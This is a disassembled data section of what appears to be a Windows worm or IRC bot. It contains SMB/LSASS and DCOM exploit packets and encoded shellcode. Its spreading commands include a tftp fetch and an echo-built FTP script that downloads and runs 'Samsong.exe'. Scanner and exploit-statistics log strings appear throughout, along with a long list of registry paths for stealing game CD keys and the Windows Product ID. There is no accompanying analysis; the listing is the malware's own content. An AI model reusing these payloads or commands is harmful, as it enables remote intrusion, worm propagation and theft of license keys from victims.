dd offset loc_40707C
dd 1, 0
dd 1, 0
dd offset loc_40707C
dd 1, 0
dd 1, 0
dd 138578h, 0E9A65BABh, 0
dword_435560 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
; DATA XREF: sub_401B9B+306o
dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h
dd 8FFFFFFh, 10B800h, 4010B800h, 0
dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h
dd 0DADh, 0
dd 0DADh, 0
dword_4355CC dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_401B9B+331o
dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h
dd 5C0045h, 0
dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_435640 dd 0 ; DATA XREF: sub_401B9B+35Fo
dd offset loc_40A896+4
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd offset loc_40A896+4
dd 1, 0
dd 1, 0
dd offset loc_40A896+4
dd 1, 0
dd 1, 0
dd offset loc_40A896+4
dd 1, 0
dd 1, 2 dup(0)
word_4356C8 dw 0AD9Dh ; DATA XREF: sub_401A3C+30r
; sub_401B9B+E7r
align 4
dd 2 dup(0)
aWinxpProfessio db 'WinXP Professional [universal] lsass.exe ',0
align 8
dword_435708 dd 1004600h ; DATA XREF: sub_401B9B+140r
; sub_401B9B+245r
dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h
dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h
dd 6C6C642Eh, 2 dup(0)
dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h
dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h
dd 70617274h, 6C6C642Eh, 2 dup(0)
dd 751C123Ch, 0Fh dup(0)
aTftpISGetS db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_401A3C+97o
aEchoOpenSDOEch db 'echo open %s %d > o&echo user 1 1 >> o &echo get Samsong.exe >> o'
; DATA XREF: sub_401A3C+BCo
db ' &echo quit >> o &ftp -n -s:o &Samsong.exe',0Dh,0Ah,0
align 4
aS_0 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_401A3C+100o
align 4
dword_43584C dd 1CEC8166h ; DATA XREF: sub_401B9B+Dr
dword_435850 dd 0E4FF07h ; DATA XREF: sub_401B9B+16r
aSIpc db '\\%s\ipc$',0 ; DATA XREF: sub_401B9B+27o
align 10h
dword_435860 dd 6EB06EBh, 0 ; DATA XREF: sub_401B9B+177o
aSExploitingI_1 db '[%s]: Exploiting IP: %s.',0 ; DATA XREF: sub_401FDA+16Eo
align 8
dword_435888 dd 4A5A10EBh, 0B966C933h, 3480017Dh, 0FAE2990Ah, 0EBE805EBh
; DATA XREF: .text:00402313o
; .text:00402395o
dd 70FFFFFFh, 99999895h, 0A938FDC3h, 12999999h, 0E91295D9h
dd 0D9123485h, 12411291h, 0ED12A5EAh, 6A9AE187h, 9AB9E712h
dd 8DD71262h, 0CECF74AAh, 9AA612C8h, 0F36B1262h, 3F6AC097h
dd 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh, 125412C7h, 5A9ABDDFh
dd 589A7848h, 12FF50AAh, 85DF1291h, 78585A9Ah, 12589A9Bh
dd 125A9A99h, 1A6E1263h, 4912975Fh, 71C09AF3h, 9999991Eh
dd 0CB945F1Ah, 65CE66CFh, 0F34112C3h, 0ED71C09Ch, 0C9999999h
dd 0F3C9C9C9h, 669BF398h, 411275CEh, 999B9E5Eh
dword_435938 dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh
; DATA XREF: .text:004022E5o
dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h
dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h
dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_435A20 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
; DATA XREF: .text:004024B9o
dd 0FEFF0000h, 0
dd 2006200h
aPcNetworkPro_0 db 'PC NETWORK PROGRAM 1.0',0
db 2
aLanman1_0_0 db 'LANMAN1.0',0
dw 5702h
aIndowsForWor_0 db 'indows for Workgroups 3.1a',0
db 2
aLm1_2x002_0 db 'LM1.2X002',0
dw 4C02h
aAnman2_1_0 db 'ANMAN2.1',0
db 2, 4Eh, 54h
aLm0_12_0 db ' LM 0.12',0
align 4
dword_435AAC dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
; DATA XREF: .text:004024E5o
dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0
dd 20000000h, 0
dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
dd 4 dup(0)
aWindows20002_0:
unicode 0, <Windows 2000 2195>,0
aWindows20005_1:
unicode 0, <Windows 2000 5.0>,0
align 8
dword_435B58 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
; DATA XREF: .text:0040250Co
dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0
dd 57000000h, 0
dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
dd 0
dd 47000000h, 0
dd 40000000h, 0
dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h
dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h
dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h
dd 2E0035h, 30h, 0
dword_435C38 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
; DATA XREF: .text:0040223Co
dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch
dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h
dd 5C0030h, 500049h
aC_3: ; DATA XREF: .text:0040226Eo
unicode 0, <C$>,0
a?????_0 db '?????',0
dd 0
dword_435C9C dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
; DATA XREF: .text:00402560o
dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0
dd 2019Fh, 3 dup(0)
dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h
dd 0
dword_435D08 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: .text:0040258Bo
dd 4DC0800h, 500800h, 48000010h, 0
dd 4, 2 dup(0)
dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h
dd 5C0045h, 0
dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh
dd 0
dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_435DAC dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: .text:004025C4o
dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h
dd 5C0045h, 0
dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
dd 3ECh, 0
off_435E2C dd offset loc_401495 ; DATA XREF: .text:004025F2o
dd 3, 40707Ch, 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd offset loc_40707C
dd 1, 0
dd 1, 0
dd offset loc_40707C
dd 1, 0
dd 1, 0
dd offset loc_40707C
dd 1, 0
dd 1, 0
dd 138578h, 0E9A65BABh, 0
dword_435EC0 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
; DATA XREF: .text:0040261Fo
dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h
dd 8FFFFFFh, 10B800h, 4010B800h, 0
dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h
dd 0DADh, 0
dd 0DADh, 0
dword_435F2C dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: .text:0040264Ao
dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h
dd 5C0045h, 0
dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_435FA0 dd 0 ; DATA XREF: .text:00402678o
dd offset loc_40A896+4
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd offset loc_40A896+4
dd 1, 0
dd 1, 0
dd offset loc_40A896+4
dd 1, 0
dd 1, 0
dd offset loc_40A896+4
dd 1, 0
dd 1, 3 dup(0)
aWinxpProfess_0 db 'WinXP Professional [universal] lsass.exe ',0
align 10h
dword_436060 dd 1004600h ; DATA XREF: .text:0040234Fr
; .text:0040237Fr
dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h
dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h
dd 6C6C642Eh, 2 dup(0)
dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h
dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h
dd 70617274h, 6C6C642Eh, 2 dup(0)
dd 751C123Ch
dword_4360DC dd 1CEC8166h ; DATA XREF: .text:004021B2r
dword_4360E0 dd 0E4FF07h ; DATA XREF: .text:004021BDr
aSIpc_0 db '\\%s\ipc$',0 ; DATA XREF: .text:00402208o
align 10h
dword_4360F0 dd 6EB06EBh, 0 ; DATA XREF: .text:004023B6o
aTftpISGetSSExi db 'tftp -i %s get %s&%s&exit',0Ah,0 ; DATA XREF: .text:00402783o
align 4
aSTryingSploitI db '[%s]: Trying Sploit IP: %s.',0 ; DATA XREF: .text:004027EBo
aAsn1smbnt db 'asn1smbnt',0 ; DATA XREF: sub_403076+164o
aDcom135 db 'Dcom135',0 ; DATA XREF: sub_4013F1+2DDo
; .text:004019D3o ...
align 4
dd 5 dup(0)
dword_436158 dd 87h ; DATA XREF: sub_402853+1Er
; sub_40C50A+30BDr ...
off_43615C dd offset sub_4013F1 ; DATA XREF: sub_403076+1E6r
dword_436160 dd 0 ; DATA XREF: sub_4013F1+332w
; sub_4013F1+338r ...
dword_436164 dd 1 ; DATA XREF: sub_402994+1Fr
dword_436168 dd 1 ; DATA XREF: sub_402994:loc_402C05r
aDcom445 db 'dcom445',0
dd 63440000h, 34346D6Fh, 35h, 5 dup(0)
dd 1BDh, 4013F1h, 0
dd 2 dup(1), 6D6F6364h, 35323031h, 63440000h, 30316D6Fh
dd 3532h, 5 dup(0)
dd 401h, 4013F1h, 0
dd 2 dup(1), 6D6F6364h, 32h, 63440000h, 326D6Fh, 6 dup(0)
dd 87h, 401790h, 0
dd 2 dup(1), 316E7361h, 626D73h, 736C0000h, 5F737361h
dd 353434h, 5 dup(0)
dd 1BDh, 401FDAh, 0
dd 2 dup(1), 73616364h, 73h, 63640000h, 737361h, 6 dup(0)
dd 1BDh, 401737h, 0
dd 2 dup(1), 7361736Ch, 33315F73h, 736C0039h, 5F737361h
dd 393331h, 5 dup(0)
dd 1BDh, 401FDAh, 0
dd 2 dup(1), 0Fh dup(0)
aLsass_139 db 'lsass_139',0
byte_43631A db 1 ; DATA XREF: sub_40C50A:loc_4113E4r
; sub_40C50A+4EE4o
aDcom1025 db 'dcom1025',0
dd 63640100h, 737361h, 0
dd 61736C01h, 345F7373h, 1003534h, 6D6F6364h, 32h, 10000h
dd 3 dup(0)
dd 4A5A10EBh, 0B966C933h, 34800166h, 0FAE2990Ah, 0EBE805EBh
dd 70FFFFFFh, 99999899h, 699521C3h, 9912E664h, 3485E912h
dd 1291D912h, 0A5EA1241h, 0EF126A9Ah, 126A9AE1h, 629AB9E7h
dd 0AA8DD712h, 0C8CECF74h, 629AA612h, 97F36B12h, 0ED3F6AC0h
dd 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h, 0DF125412h, 485A9ABDh
dd 0AA589A78h, 9112FF50h, 9A85DF12h, 9B78585Ah, 9912589Ah
dd 63125A9Ah, 5F1A6E12h, 0F3491297h, 0E571C09Ah, 1A999999h
dd 0CFCB945Fh, 0C365CE66h, 9DF34112h, 99F071C0h, 0C9C99999h
dd 98F3C9C9h, 0CE669BF3h, 5E411269h, 9E999B9Eh, 1059AA24h
dd 89F39DDEh, 0CE66CACEh, 0CA98F36Dh, 0C961CE66h, 0CE66CAC9h
dd 0DD751A65h, 42AA6D12h, 10C089F3h, 627B1785h, 10A1DF10h
dd 0DF10A5DFh, 0B5DF5ED9h, 99999898h, 0C989DE14h, 0CACACACFh
dd 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h, 0CAC9A5DEh, 0C97DCE66h
dd 0AA71CE66h, 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h
dd 5A59AA77h, 66676271h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h
dd 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh
dd 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh, 0D5FDF8F6h, 0F8EBFBF0h
dd 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh, 0F6CAD8CAh, 0EDFCF2FAh
dd 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h, 0FAF899F7h, 0EDE9FCFAh
dd 99h
aScanExploitSta db '[SCAN]: Exploit Statistics:',0 ; DATA XREF: sub_402853+11o
aSD db ' %s: %d,',0 ; DATA XREF: sub_402853+42o
align 4
aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_402853+81o
align 10h
aScanCurrentIpS db '[SCAN]: Current IP: %s.',0 ; DATA XREF: sub_40291D+2Co
aScanScanNotAct db '[SCAN]: Scan not active.',0 ; DATA XREF: sub_40291D+42o
align 4
aTftpServerStar db '[TFTP]: Server started on Port: %d, File: %s, Request: %s.',0
; DATA XREF: sub_402994+DBo
align 10h
aTftpFailedToSt db '[TFTP]: Failed to start server, error: <%d>.',0
; DATA XREF: sub_402994+149o
align 10h
aFtpServerStart db '[FTP]: Server started on Port: %d, File: %s, Request: %s.',0
; DATA XREF: sub_402994+1FAo
align 4
aFtpFailedToSta db '[FTP]: Failed to start server, error: <%d>.',0
; DATA XREF: sub_402994+267o
aHttpdServerLis db '[HTTPD]: Server listening on IP: %s:%d, Directory: %s\.',0
; DATA XREF: sub_402994+307o
aHttpdFailedToS db '[HTTPD]: Failed to start server, error: <%d>.',0
; DATA XREF: sub_402994+36Fo
align 10h
aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_402D70+38o
aSocketOpenFail db 'socket open failed',0 ; DATA XREF: .text:00402F9Eo
align 10h
aSendtoSocketFa db 'sendto() socket failed. sent = %d <%d>.',0 ; DATA XREF: .text:00402FD5o
aRecvfromSocket db 'recvfrom() socket failed',0 ; DATA XREF: .text:0040302Fo
align 4
aSocketOpen_ db 'Socket open.',0 ; DATA XREF: .text:00403054o
align 4
aSocketClosed_ db 'Socket closed.',0 ; DATA XREF: .text:loc_403064o
align 4
aScanIpSDScanTh db '[SCAN]: IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
; DATA XREF: sub_403076+93o
aScanIpSPortDIs db '[SCAN]: IP: %s, Port %d is open.',0 ; DATA XREF: sub_403076+EBo
align 4
aScanFailedToIn db '[SCAN]: Failed to initialize critical section.',0
; DATA XREF: sub_40328A+87o
align 4
aScanSDScanThre db '[SCAN]: %s:%d, Scan thread: %d, Sub-thread: %d.',0
; DATA XREF: sub_40328A+103o
aScanFailedToSt db '[SCAN]: Failed to start worker thread, error: <%d>.',0
; DATA XREF: sub_40328A+173o
aScanFinishedAt db '[SCAN]: Finished at %s:%d after %d minute(s) of scanning.',0
; DATA XREF: sub_40328A+1CEo
align 4
aAliasList db '-[Alias List]-',0 ; DATA XREF: sub_403569+10o
align 4
aD_SS db '%d. %s = %s',0 ; DATA XREF: sub_403569+35o
a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_4035E1+60o
align 4
aLogs db '-[Logs]-',0 ; DATA XREF: .text:0040369Do
align 4
aLogsCleared_ db '[LOGS]: Cleared.',0 ; DATA XREF: sub_40371E+20o
align 4
aLogsCleared__0 db '[LOGS]: Cleared.',0 ; DATA XREF: sub_40371E:loc_403753o
align 10h
aLogBegin db '[LOG]: Begin',0 ; DATA XREF: sub_403791+3Fo
align 10h
aLogListComplet db '[LOG]: List complete.',0 ; DATA XREF: sub_403791+DCo
align 4
dword_4368C8 dd 78h ; DATA XREF: sub_403930+Ar
align 10h
dword_4368D0 dd 80000002h, 43E294h, 80000002h, 43E2C4h, 80000001h, 43E2FCh
; DATA XREF: sub_4038C0+7o
aDisplay db 'DISPLAY',0 ; DATA XREF: sub_4038C0+63o
; sub_403948+11o
aWindow db 'Window',0 ; DATA XREF: sub_403B83+23o
align 4
aWindow_0 db 'Window',0 ; DATA XREF: sub_403D7C+26o
align 10h
dd 80000001h
off_436904 dd offset aSoftwareValveC ; DATA XREF: sub_403FBB+Cr
; sub_403FBB+21o
; "Software\\Valve\\CounterStrike\\Settings"
dd offset aCdkey ; "CDKey"
dd offset aCounterStrikeR ; "Counter-Strike (Retail)"
dword_436910 dd 2 dup(0) ; DATA XREF: sub_403FBB+26o
dd 80000001h, 436D80h, 436DA8h, 436DB4h, 2 dup(0)
dd 80000001h, 436DC4h, 436DE4h, 436DE8h, 2 dup(0)
dd 80000001h, 436DFCh, 436E20h, 436E24h, 2 dup(0)
dd 80000001h, 436E30h, 436E54h, 436E5Ch, 2 dup(0)
dd 80000001h, 436E70h, 436E84h, 436E94h, 2 dup(0)
dd 80000001h, 436EB0h, 436EF4h, 436EFCh, 2 dup(0)
dd 80000002h, 436F10h, 436F3Ch, 436F48h, 2 dup(0)
dd 80000002h, 436F68h, 436F9Ch, 436FA4h, 2 dup(0)
dd 80000002h, 436FBCh, 436FF0h, 436FF8h, 2 dup(0)
dd 80000002h, 437010h, 437028h, 437030h, 2 dup(0)
dd 80000002h, 437048h, 449C80h, 437084h, 2 dup(0)
dd 80000002h, 437094h, 449C84h, 4370CCh, 2 dup(0)
dd 80000002h, 4370E0h, 449C88h, 43712Ch, 2 dup(0)
dd 80000002h, 43714Ch, 449C8Ch, 43719Ch, 2 dup(0)
dd 80000002h, 4371C8h, 449C90h, 437204h, 2 dup(0)
dd 80000002h, 437218h, 449C94h, 437250h, 2 dup(0)
dd 80000002h, 437260h, 449C98h, 4372B0h, 2 dup(0)
dd 80000002h, 4372DCh, 449C9Ch, 43731Ch, 2 dup(0)
dd 80000002h, 437338h, 449CA0h, 437368h, 2 dup(0)
dd 80000002h, 437388h, 449CA4h, 4373C4h, 2 dup(0)
dd 80000002h, 4373D8h, 449CA8h, 437420h, 2 dup(0)
dd 80000002h, 437440h, 449CACh, 437494h, 2 dup(0)
dd 80000002h, 4374C4h, 449CB0h, 437514h, 2 dup(0)
dd 80000002h, 437540h, 437580h, 437588h, 2 dup(0)
dd 80000002h, 4375A8h, 449CB4h, 4375ECh, 2 dup(0)
dd 80000002h, 437608h, 449CB8h, 437654h, 2 dup(0)
dd 80000002h, 437678h, 449CBCh, 4376ACh, 2 dup(0)
dd 80000002h, 4376B8h, 449CC0h, 4376ECh, 2 dup(0)
dd 80000002h, 4376F8h, 449CC4h, 43772Ch, 2 dup(0)
dd 80000002h, 437738h, 449CC8h, 43776Ch, 2 dup(0)
dd 80000002h, 437778h, 449CCCh, 4377B4h, 2 dup(0)
dd 80000002h, 4377C8h, 449CD0h, 437804h, 2 dup(0)
dd 80000002h, 437818h, 437848h, 437850h, 2 dup(0)
dd 80000002h, 43786Ch, 43788Ch, 437894h, 2 dup(0)
dd 80000002h, 4378B8h, 4378D4h, 4378DCh, 2 dup(0)
dd 80000002h, 4378FCh, 43791Ch, 437924h, 2 dup(0)
dd 80000002h, 437948h, 437960h, 437968h, 2 dup(0)
dd 80000002h, 43796Ch, 437988h, 437998h, 2 dup(0)
dd 80000002h, 4379A0h, 4379D4h, 4379D8h, 2 dup(0)
dd 80000002h, 4379F0h, 437A2Ch, 437A38h, 437A60h, 437A70h
dd 80000002h, 437A84h, 437AA8h, 437AB4h, 437AC8h, 437AD8h
dd 80000002h, 437AE0h, 437B04h, 437B10h, 437B3Ch, 437B4Ch
dd 80000002h, 437B54h, 437B78h, 437B84h, 437BB4h, 437BC4h
dd 6 dup(0)
aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: .data:off_436904o
align 10h
aCdkey db 'CDKey',0 ; DATA XREF: .data:00436908o
align 4
aCounterStrikeR db 'Counter-Strike (Retail)',0 ; DATA XREF: .data:0043690Co
aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0
align 4
aRegnumber db 'RegNumber',0
align 4
aTheGladiators db 'The Gladiators',0
align 4
aSoftwareValveG db 'Software\Valve\Gunman\Settings',0
align 4
aKey_0 db 'Key',0
aGunmanChronicl db 'Gunman Chronicles',0
align 4
aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0
align 10h
aKey_1 db 'Key',0
aHalfLife db 'Half-Life',0
align 10h
aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0
align 4
aPrvkey db 'prvkey',0
align 4
aIndustryGiant2 db 'Industry Giant 2',0
align 10h
aSoftware3d0Sta db 'Software\3d0\Status',0
aCustomernumber db 'CustomerNumber',0
align 4
aLegendsOfMight db 'Legends of Might and Magic',0
align 10h
aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
align 4
aCdkey_0 db 'CDKey',0
align 4
aSoldiersOfAnar db 'Soldiers Of Anarchy',0
aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion',0
align 4
aProductid db 'ProductId',0
align 4
aMicrosoftWindo db 'Microsoft Windows Product ID',0
align 4
aSoftwareUnreal db 'Software\Unreal Technology\Installed Apps\UT2003',0
align 4
aCdkey_1 db 'CDKey',0
align 4
aUnrealTourname db 'Unreal Tournament 2003',0
align 4
aSoftwareUnre_0 db 'Software\Unreal Technology\Installed Apps\UT2004',0
align 10h
aCdkey_2 db 'CDKey',0
align 4
aUnrealTourna_0 db 'Unreal Tournament 2004',0
align 10h
aSoftwareIgi2Re db 'Software\IGI 2 Retail',0
align 4
aCdkey_3 db 'CDKey',0
align 10h
aIgi2CovertStri db 'IGI 2: Covert Strike',0
align 4
aSoftwareElectr db 'Software\Electronic Arts\EA Distribution\Freedom Force\ergc',0
aFreedomForce db 'Freedom Force',0
align 4
aSoftwareElec_0 db 'Software\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
aBattlefield194 db 'Battlefield 1942',0
align 10h
aSoftwareElec_1 db 'Software\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Ro'
db 'me\ergc',0
align 4
aBattlefield1_0 db 'Battlefield 1942 (Road To Rome)',0
aSoftwareElec_2 db 'Software\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons'
db ' of WWII\ergc',0
align 4
aBattlefield1_1 db 'Battlefield 1942 (Secret Weapons of WWII)',0
align 4
aSoftwareElec_3 db 'Software\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
align 4
aBattlefieldVie db 'Battlefield Vietnam',0
aSoftwareElec_4 db 'Software\Electronic Arts\EA GAMES\Black and White\ergc',0
align 10h
aBlackAndWhite db 'Black and White',0
aSoftwareElec_5 db 'Software\Electronic Arts\EA GAMES\Command and Conquer Generals Ze'
db 'ro Hour\ergc',0
align 10h
aCommandAndConq db 'Command and Conquer: Generals (Zero Hour)',0
align 4
aSoftwareElec_6 db 'Software\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
aJamesBond007Ni db 'James Bond 007: Nightfire',0
align 4
aSoftwareElec_7 db 'Software\Electronic Arts\EA GAMES\Generals\ergc',0
aCommandAndCo_0 db 'Command and Conquer: Generals',0
align 4
aSoftwareElec_8 db 'Software\Electronic Arts\EA GAMES\Global Operations\ergc',0
align 4
aGlobalOperatio db 'Global Operations',0
align 4
aSoftwareElec_9 db 'Software\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\e'
db 'rgc',0
align 10h
aMedalOfHonorAl db 'Medal of Honor: Allied Assault',0
align 10h
aSoftwareEle_10 db 'Software\Electronic Arts\EA GAMES\Medal of Honor Allied Assault B'
db 'reakthrough\ergc',0
align 4
aMedalOfHonor_0 db 'Medal of Honor: Allied Assault: Breakthrough',0
align 4
aSoftwareEle_11 db 'Software\Electronic Arts\EA GAMES\Medal of Honor Allied Assault S'
db 'pearhead\ergc',0
align 4
aMedalOfHonor_1 db 'Medal of Honor: Allied Assault: Spearhead',0
align 10h
aSoftwareEle_12 db 'Software\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
align 10h
aErgc db 'ergc',0
align 4
aNeedForSpeedHo db 'Need For Speed Hot Pursuit 2',0
align 4
aSoftwareEle_13 db 'Software\Electronic Arts\EA GAMES\Need For Speed Underground\ergc'
db 0
align 4
aNeedForSpeedUn db 'Need For Speed: Underground',0
aSoftwareEle_14 db 'Software\Electronic Arts\EA GAMES\Shogun Total War - Warlord Edit'
db 'ion\ergc',0
align 4
aShogunTotalWar db 'Shogun: Total War: Warlord Edition',0
align 4
aSoftwareEle_15 db 'Software\Electronic Arts\EA Sports\FIFA 2002\ergc',0
align 4
aFifa2002 db 'FIFA 2002',0
align 4
aSoftwareEle_16 db 'Software\Electronic Arts\EA Sports\FIFA 2003\ergc',0
align 4
aFifa2003 db 'FIFA 2003',0
align 4
aSoftwareEle_17 db 'Software\Electronic Arts\EA Sports\NHL 2002\ergc',0
align 4
aNhl2002 db 'NHL 2002',0
align 4
aSoftwareEle_18 db 'Software\Electronic Arts\EA Sports\NHL 2003\ergc',0
align 4
aNhl2003 db 'NHL 2003',0
align 4
aSoftwareEle_19 db 'Software\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
align 4
aNascarRacing20 db 'Nascar Racing 2002',0
align 4
aSoftwareEle_20 db 'Software\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
align 4
aNascarRacing_0 db 'Nascar Racing 2003',0
align 4
aSoftwareRedSto db 'Software\Red Storm Entertainment\RAVENSHIELD',0
align 4
aCdkey_4 db 'CDKey',0
align 10h
aRainbowSixIiiR db 'Rainbow Six III RavenShield',0
aSoftwareWestwo db 'Software\Westwood\Tiberian Sun',0
align 4
aSerial db 'Serial',0
align 4
aCommandAndCo_1 db 'Command and Conquer: Tiberian Sun',0
align 4
aSoftwareWest_0 db 'Software\Westwood\Red Alert',0
aSerial_0 db 'Serial',0
align 4
aCommandAndCo_2 db 'Command and Conquer: Red Alert',0
align 4
aSoftwareWest_1 db 'Software\Westwood\Red Alert 2',0
align 4
aSerial_1 db 'Serial',0
align 4
aCommandAndCo_3 db 'Command and Conquer: Red Alert 2',0
align 4
aSoftwareWest_2 db 'Software\Westwood\NOX',0
align 10h
aSerial_2 db 'Serial',0
align 4
aNox db 'NOX',0
aSoftwareTechla db 'Software\Techland\Chrome',0
align 4
aSerialnumber db 'SerialNumber',0
align 4
aChrome db 'Chrome',0
align 10h
aSoftwareIllusi db 'Software\Illusion Softworks\Hidden & Dangerous 2',0
align 4
aKey_2 db 'key',0
aHiddenDangerou db 'Hidden & Dangerous 2',0
align 10h
aSoftwareActivi db 'Software\Activision\Soldier of Fortune II - Double Helix',0
align 4
aInstallpath db 'InstallPath',0
aSoldierOfFortu db 'Soldier of Fortune II - Double Helix',0
align 10h
aBaseMpSof2key db 'base\mp\sof2key',0
aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0
align 4
aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0
align 4
aLocation db 'Location',0
align 4
aNeverwinterNig db 'Neverwinter Nights',0
align 4
aNwncdkey_ini db 'nwncdkey.ini',0
align 4
aKey1 db 'Key1=',0
align 10h
aSoftwareBiow_0 db 'Software\BioWare\NWN\Neverwinter',0
align 4
aLocation_0 db 'Location',0
align 10h
aNeverwinterN_0 db 'Neverwinter Nights (Shadows of Undrentide)',0
align 4
